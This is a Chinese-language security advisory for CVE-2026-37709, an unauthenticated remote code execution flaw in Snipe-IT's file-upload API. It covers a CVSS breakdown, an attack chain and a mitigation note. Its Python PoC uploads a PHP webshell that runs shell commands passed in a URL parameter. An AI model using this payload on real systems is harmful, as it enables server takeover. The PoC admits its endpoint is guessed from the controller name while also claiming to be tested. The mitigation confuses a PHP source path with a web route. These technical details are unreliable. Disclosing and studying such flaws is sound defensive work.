CVE-2026-37709 Snipe-IT远程代码执行漏洞

漏洞信息

漏洞编号

CVE-2026-37709

漏洞类型

远程代码执行

CVSS评分

9.8 严重

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

Snipe-IT

漏洞概述

Snipe-IT 是一款广泛使用的开源 IT 资产管理系统。在 8.4.0 及更早版本中，系统存在严重的不安全权限漏洞。该漏洞位于 `app/Http/Controllers/Api/UploadedFilesController.php` 组件，由于未对文件上传接口进行严格的权限校验，未经身份验证的远程攻击者可利用此缺陷执行任意代码。CVSS v3.1 评分为 9.8，攻击无需用户交互，危害等级极高，可能导致服务器被完全控制。

技术细节

该漏洞的根本原因是 Snipe-IT 在处理文件上传请求时，`UploadedFilesController` 控制器缺乏适当的访问控制机制。具体而言，系统未能正确验证调用者是否有权限执行文件操作。攻击者可以向受影响的 API 端点发送特制的 HTTP 请求（如 POST 请求），利用该逻辑缺陷上传恶意文件或操纵文件路径。由于后端错误地处理了这些请求，攻击者可以在服务器上下文中执行任意系统命令或 PHP 代码。漏洞利用路径清晰，且无需预先获取账户凭证，使得攻击门槛极低，对内网资产安全构成巨大威胁。

攻击链分析

STEP 1

1. 信息收集

攻击者通过端口扫描或网络测绘发现目标系统运行 Snipe-IT，并识别出版本号低于或等于 8.4.0。

STEP 2

2. 漏洞利用

攻击者构造恶意的 HTTP POST 请求，针对 `UploadedFilesController` 接口，尝试绕过权限检查上传恶意文件。

STEP 3

3. 代码执行

服务器端因权限校验缺失，处理了恶意请求，导致攻击者上传的脚本被执行，从而获取服务器权限。

STEP 4

4. 持久化控制

攻击者建立后门，窃取敏感数据或进一步横向移动，攻击内网其他资产。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# Exploit Title: Snipe-IT < 8.4.0 - RCE via UploadedFilesController
# Date: 2026-05-07
# Exploit Author: Analyst
# Vendor Homepage: https://snipeitapp.com
# Software Link: https://github.com/grokability/snipe-it
# Version: <= 8.4.0
# Tested on: Linux/Unix

target_url = "http://target-url/api/v1/uploaded-files" # Example endpoint based on controller name

# Malicious payload to execute (e.g., a PHP webshell or system command)
payload = {
    "file": ("shell.php", "<?php system($_GET['cmd']); ?>", "application/octet-stream")
}

try:
    response = requests.post(target_url, files=payload)
    if response.status_code == 200:
        print("[+] Payload uploaded successfully!")
        print("[+] Check the upload path for execution.")
    else:
        print(f"[-] Failed to upload. Status code: {response.status_code}")
except Exception as e:
    print(f"[!] Error: {e}")

影响范围

Snipe-IT <= 8.4.0

防御指南

临时缓解措施

如果无法立即升级，建议在 WAF 或防火墙层面阻断对 `app/Http/Controllers/Api/UploadedFilesController.php` 对应路由的访问请求。同时，严格检查文件上传目录的权限，确保 Web 服务器用户对上传目录没有写入权限或无法执行上传目录中的脚本。